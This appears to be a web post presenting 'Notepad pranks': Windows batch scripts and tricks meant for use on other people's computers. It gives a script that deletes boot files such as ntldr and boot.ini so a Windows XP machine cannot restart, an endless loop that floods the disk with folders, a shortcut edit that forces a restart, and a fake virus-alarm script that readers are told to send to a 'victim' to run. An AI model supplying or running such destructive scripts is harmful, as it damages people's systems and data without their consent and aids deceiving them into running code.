Some Notepad Pranks

Try these with Caution

Shut Down a Computer Forever (Windows XP):

1. Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

2. Save it as a abc.bat file.

Result: This shuts down the persons computer. It shuts it off once and deletes the files needed to reboot and restart.


Make over 1,000 folders in few seconds:

1. Open notepad and type :

@echo off
:top
md %random%
goto top

2. Save as anything.bat

Result: @echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, and initiates an infinite loop.

Restarting The Computer:

When you get a chance, Right-click your victim’s icon to Internet Explorer or some other commonly used program. Edit the properties and change the target to: “%windir%\system32\shutdown.exe -r -t 00″ Now, every time your buddy tries to run IE, his machine will mysteriously restart.

1. Type this in notepad and save as virus.bat

@echo off 
title VIRUS 
color 06 

echo YOU HAVE A VIRUS ON YOUR COMPUTER 
pause 
echo CONTACTING ANTI-VIRUS.... 
pause 
echo DO YOU WANT TO DELETE VIRUS? 
pause 
echo ACCESS DENIED 
echo ACCESS DENIED 
echo ACCESS DENIED 
pause 
echo ACTIVATING VIRUS..... 
echo VIRUS ACTIVATED!!!! 
pause 
:1 
dir/s 
goto 1

2. Send the saved file to your victim and ask them to run.
